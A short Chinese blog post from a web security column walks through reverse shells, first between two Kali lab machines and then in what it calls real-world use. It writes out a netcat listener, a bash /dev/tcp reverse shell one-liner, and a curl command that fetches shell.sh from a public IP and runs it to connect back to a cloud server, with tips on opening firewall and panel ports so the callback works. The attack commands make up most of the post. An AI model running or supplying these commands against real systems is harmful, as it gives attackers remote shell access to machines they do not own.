【web安全】反弹shell 靶场测试+实战

星盾网安

已于 2023-12-20 18:27:05 修改

阅读量535

点赞数 6

分类专栏： web安全文章标签：网络

于 2023-11-22 15:27:11 首次发布

本文链接：https://blog.csdn.net/weixin_46301214/article/details/134554004

版权

7 篇文章 0 订阅

订阅专栏

这里只讲实战或真机演练，具体原理网上一搜一大把，自己去看

知识点1：靶机测试 - 双kali

踩坑点：局域网内才稳定

// 第一台kali
nc -lvvp 7777  # 开启监听

// 第二台kali
bash -c "bash -i >& /dev/tcp/192.168.118.129/7777 0>&1"  # 反弹shell

// 新建一个 shell.sh 的可执行文件
bash -c "bash -i >& /dev/tcp/192.168.118.129/7777 0>&1"

// 然后执行这个 shell.sh 文件即可反弹shell
bash shell.sh

实战之中先探测是否能连接外网，那么就顺便把shell反弹文件下载

// 下载反弹shell文件
curl -o shell.sh http://43.136.101.245:81/shell.sh

然后在云服务器开启监听

// 虚拟机kali执行反弹shell文件
bash shell.sh

这里有个大坑，请看踩坑点2

记得开启局域网

NAT不一定可以，而且多了一行话，相同用户名的情况下还以为失败了

云服务器永远反弹不成功，云服务器的安全组也全部开放了，但是还是失败

后来才想起，宝塔也有这个功能，要记得去开放一下

关注

专栏目录